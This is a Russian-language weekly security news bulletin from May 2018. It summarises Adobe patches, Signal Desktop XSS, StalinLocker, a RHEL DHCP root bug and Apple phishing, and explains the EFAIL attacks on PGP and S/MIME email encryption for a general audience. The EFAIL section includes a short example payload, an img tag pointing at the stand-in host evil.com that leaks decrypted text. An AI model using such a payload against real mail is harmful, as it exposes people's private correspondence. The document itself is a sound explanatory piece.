Security for all - #8 - 23 мая 2018
Шифрование e-mail - PGP и S/MIME
Сегодня
Adobe закрыла 48 уязвимостей в Acrobat, Reader и Photoshop; в мессенджере Signal для компьютеров обнаружены уязвимости, раскрывающие сообщения; удаленное выполнение кода через DHCP клиент обнаружено в дистрибутиве RHEL; обнаружена фишинг компания нацеленная на пользователей Apple.
Сегодняшняя основная тема берет начало в нашумевшей новости об уязвимостях в протоколах шифрования почты (OpenPGP и S/MIME).
Картинка недели
https://shop.sophos.com/collections/shirts/products/dance-like-no-ones-watching-t-shirt
Танцуй, как будто за тобой никто не наблюдает. Шифруй, как будто наблюдают все.
Вспомогательные темы
Проект GNU - проект по разработке свободного программного обеспечения. Был запущен Ричардом Столманом 27 сентября 1983 года. Изначально целью проекта было “разработать достаточно свободного ПО, чтобы не нужно было использовать несвободное”. Для этого в 1984 году начали разрабатывать свободный аналог операционной системы UNIX, который назвали GNU. GNU является рекурсивным акронимом и расшифровывается как GNU’s Not UNIX — «GNU не UNIX».
PGP - Pretty Good Privacy - компьютерная программа позволяющая шифровать сообщения, файлы и другую информацию. Разрботана Филлипом Циммерманом в 1991 году. Благодаря стандарту OpenPGP есть множество реализаций, совместимых между собой. В 1999 была создана свободная реализация под названием GNU Privacy Guard (GnuPG или GPG). Обычно под PGP понимают не конкретную реализацию, а открытый стандарт OpenPGP.
S/MIME - Secure/Multipurpose Internet Mail Extensions - стандарт для шифрования и подписи электронной почты с помощью криптографии с открытым ключом. Фактически является стандартом де-факто в корпоративной среде.
DHCP - Dynamic Host Configuration Protocol - протокол, позволяющий компьютерам автоматически получать IP адрес и другие параметры для работы в сети.
Фишинг - от английского fishing (рыбная ловля) - вид интернет мошенничества, нацеленный на кражу конфиденциальной информации пользователя, чаще всего логина и пароля.
Новости
Релиз новых версий Acrobat, Reader и Photoshop
В понедельник, 14 мая, компания Adobe выпустила новые версии своих продуктов Acrobat, Reader и Photoshop. В них исправлено в общей сложности 48 уязвимостей. 47 из них - в продуктах для работы с PDF. Большинство проблем - выполнение произвольного кода и раскрытие информации.
В Photoshop была исправлена всего одна уязвимость, но она связана с выполнением произвольного кода. Если вы еще не установили обновления, самое время это сделать.
https://thehackernews.com/2018/05/adobe-security-patch-update.html
Уязвимости в Signal Desktop
В десктопной версии мессенджера Signal, разработанного с использованием платформы Electron, обнаружены несколько уязвимостей, которые позволяют выполнить JavaScript код в контексте приложения. Выполняемый код может похитить переписку из чатов. Разработчики оперативно выпустили обновление.
Уязвимости подобного рода возникают, когда приложение неправильно интерпретирует данные как код и выполняет его. Такой класс уязвимостей носит название XSS - Cross Site Scripting и чаще встречается в веб приложениях. Последнее время все больше десктопных приложений создают с использованием технологий и языков, берущих начало в WEB. Поэтому можно предположить, что XSS будет встречаться все чаще во все более неожиданных местах.
http://www.opennet.ru/opennews/art.shtml?num=48616
Блокировщик Сталин
В сети интернет обнаружен вирус под названием Сталин (на английском StalinLocker или StalinScreamer). При запуске он загружает и начинает проигрывать в фоне гимн СССР. Также он показывает таймер обратного отсчета и поле для ввода. Чтобы не потерять все файлы, нужно успеть ввести число дней между текущим днем и датой образования СССР (30 декабря 1922).
https://www.computerworld.ru/news/Obnaruzhen-blokiruyuschiy-kompyutery-virus-Stalin
Удаленное выполнение кода в Red Hat через DHCP
Инженер Google Security Team Феликс Вильгельм (Felix Wilhelm) обнаружил уязвимость в DHCP клиенте, который используется в дистрибутиве Red Hat Enterprise Linux и некоторых его производных, например, Fedora и CentOS. Баг получил идентификатор CVE-2018-1111 и может использоваться для выполнения на уязвимой системе кода с правами root. Проблема была в скрипте интеграции с NetworkManager’ом.
https://access.redhat.com/security/vulnerabilities/3442151
Фишинг кампания нацелена на пользователей Apple
Различные утечки и забота о приватности, наряду со скорым вступлением в силу европейского закона о защите данных (GDPR - General Data Protection Regulation) изменили взгляды компаний на хранение и обработку данных пользователей. Многие компании отправляют сообщения с просьбой обновить профиль или изменить настройки безопасности аккаунта. Сообщения от разных компаний выглядят примерно одинаково - они содержат стандартное приветствие, описание изменений и заметную кнопку или ссылку.
Уже много писем отправлено и они еще будут посылаться пользователям. Поэтому неудивительно, что злоумышленники решили воспользоваться ситуацией. Так 30-го апреля была выявлена атака на аккаунты Apple ID. В рассылаемых письмах пользователям грозили приостановкой аккаунта. Скорее всего это не последний подобный случай. Поэтому будьте бдительны. Если вам нужно поменять настройки аккаунта, не кликайте на ссылку в письме, а лучше откройте браузер и введите адрес сайта самостоятельно. Так вы сможете избежать попадания на поддельный сайт.
https://threatpost.com/gdpr-phishing-scam-targets-apple-accounts-financial-data/131915/
Шифрование e-mail
На прошедшей неделе появились подробности об уязвимостях в почтовых клиентах и сервисах. Связаны они со стандартами шифрования PGP и S/MIME. Для описания деталей был сделан сайт - https://efail.de/
PGP и S/MIME считаются надежными методами защиты электронной почты, поэтому предварительная информация породила массу слухов и домыслов. Давайте попробуем разобраться, насколько все плохо и можно ли себя обезопасить.
Для чего шифрование?
Сначала давайте разберемся, для чего нужно шифровать электронную почту. Представьте, что вы пишите письмо другу. Вы составляете его в почтовой программе и нажимаете кнопку отправить. Почтовая программа подключается к серверу и в специальном формате отправляет письмо для адресата. Сервер дальше уже разберется, куда пересылать письмо. Ваш почтовый клиент и сервер могут использовать зашифрованный канал для общения. Но этот канал защищен только от внешних злоумышленников. Сервер имеет возможность получить содержимое письма. Если злоумышленник завладеет почтовым сервером, то он также сможет читать содержимое передаваемых через сервер писем.
Чтобы этого избежать и сохранить переписку в тайне, нужно шифровать содержимое письма. Заголовки при этом должны оставаться читаемыми, чтобы сервер знал, куда направлять письмо. Для шифрования содержимого есть два основных способа - PGP и S/MIME.
В основе обоих стандартов лежит шифрование с открытым ключом. Это значит, что у получателя должна быть пара ключей - публичный и приватный. С помощью публичного можно будет зашифровать сообщение и добавить цифровую подпись, чтобы владелец приватного ключа смог расшифровать сообщение и проверить, что оно не изменилось по пути следования.
PGP
Шифрование PGP (Pretty Good Privacy) реализуется последовательно хешированием, сжатием, симметричным шифрованием и, наконец, асимметричным шифрованием. На каждом этапе могут применяться различные алгоритмы. Хотя этот метод часто применяют для сообщений электронной почты, им можно зашифровать любые данные. Например, файлы.
S/MIME
S/MIME в свою очередь разрабатывался специально для электронной почты. Secure/Multipurpose Internet Mail Extensions - многоцелевые расширения интернет-почты. Название само говорит за себя. S/MIME - одно из расширений стандарта, описывающего передачу различных типов данных через электронную почту. Очень часто используют цифровую подпись S/MIME без шифрования. Цифровые подписи являются аналогом правовых подписей на бумаге. С их помощью получатель может убедиться в источнике письма и в неподдельности содержимого.
Уязвимости
Давайте теперь перейдем непосредственно к уязвимостям. В опубликованной работе описано два основных типа - прямая утечка и Gadget Attack (я не придумал адекватного перевода, поэтому оставлю оригинальное название). Обе опираются на утечку данных по второстепенному каналу. Например, в письме присутствует изображение, которое располагается на стороннем сервере. Если в адрес изображения попадет какая-то секретная информация, а почтовый клиент запросит это изображение с сервера, то серверу станет известна эта информация.
Прямая утечка
Первый метод атаки очень простой. Большинство почтовых клиентов поддерживают письма в формате HTML. Этот формат позволяет гибкую настройку визуального оформления писем. Потому злоумышленник вставляет в текст письма тег с изображением таким образом, что открывающая часть с атрибутом адреса, куда уже подставлено имя сервера, находится до зашифрованного фрагмента, а закрывающая после. В результате, после того, как фрагмент будет расшифрован, его содержимое окажется частью тега изображения, а именно частью адреса. И если почтовый клиент пойдет по этому адресу за изображением, он передаст расшифрованный текст указанному злоумышленником серверу.
Приведу пример. Злоумышленник вставляет следующие данные: <img src=”http://evil.com/ далее следует зашифрованный фрагмент и после него “>.
К счастью часть почтовых клиентов не загружает автоматически изображения.
CBC/CFB Gadget Attack
Второй метод сложнее. Это новый метод, который использует особенности криптографических алгоритмов и особенности PGP и S/MIME. Дело в том, что и PGP и S/MIME содержат стандартные заголовки. Это дает злоумышленникам возможность сопоставить часть зашифрованных и исходных данных. С таким знанием можно изменить зашифрованные данные таким образом, чтобы в результате расшифровки получился нужный злоумышленникам контент.
Злоумышленники не смогут незаметно поменять все содержимое.
Во-первых потому, что они контролируют не весь расшифровываемый текст, а только часть.
Во вторых, потому что помимо шифрования может присутствовать проверка целостности сообщений. К сожалению некоторые почтовые клиенты можно обмануть, указав, что зашифрованное сообщение не содержит проверки целостности (эта информация присутствует в открытом виде). Другая часть клиентов просто пропускает ошибку проверки целостности.
Насколько все плохо?
Подведем итог с технической точки зрения. Для реализации атаки злоумышленник должен иметь доступ к зашифрованному письму - в трафике или на сервере, чтобы послать модифицированную версию жертвам.
Протокол S/MIME более закрытый, чем OpenPGP. Из-за его особенностей второй тип атаки проводить на нем легче. Большинство протестированных клиентов, поддерживающих S/MIME подвержены описанным атакам.
OpenPGP в свою очередь открыт, а клиентов, подверженных атаке на него меньше. Однако по нынешним меркам протокол имеет существенные недостатки. Если бы шифрование почты начали делать с нуля сейчас, то скорее всего мы имели бы более безопасные протоколы.
Какой почтовый клиент (без)опасный?
Теперь немного цифр. В рамках исследования проверялись 48 почтовых клиентов. 13 из них не поддерживают шифрование ни одним из способов.
25 из 35 клиентов поддерживают S/MIME. 23 из этих 25 подвержены атаке. При этом только 8 из уязвимых клиентов требуют действий пользователя для загрузки сторонних изображений, остальные загружают их автоматически.
Из 28 клиентов поддерживающих OpenPGP, 10 позволяют раскрыть данные без участия пользователя. 5 клиентов позволяют удалить проверку целостности зашифрованных данных и игнорируют ошибку, если проверка не прошла. 6 клиентов поддерживают зашифрованные сообщения без проверки целостности. Только 3 клиента отображают письма с PGP как текст, а не как HTML.
SE - Symmetrically Encrypted - Зашифрован симметричным алгоритмом
SEIP - Symmetrically Encrypted and Integrity Protected - Зашифрован симметричным алгоритмом и с проверкой целостности
MDC - Modification Detection Code - Код определения изменений
Хуже всего себя показали
- старые версии Outlook’а и Postbox на Windows
- Thunderbird на Linux
- Apple Mail и Mail App на macOS и iOS соответственно.
Информацию о том, подвержен ли используемый вами клиент я рекомендую посмотреть на сайте исследователей https://efail.de в полном техническом описании или на сайте подкаста.
Если вы используете другие способы безопасного общения, а зашифрованные письма не отправляете и не получаете, то проблема вас не затрагивает.
Напоследок небольшой разминочный вопрос: поддерживает ли OpenPGP совершенную прямую секретность (perfect forward secrecy)?
На этом я с вами прощаюсь. До следующей недели.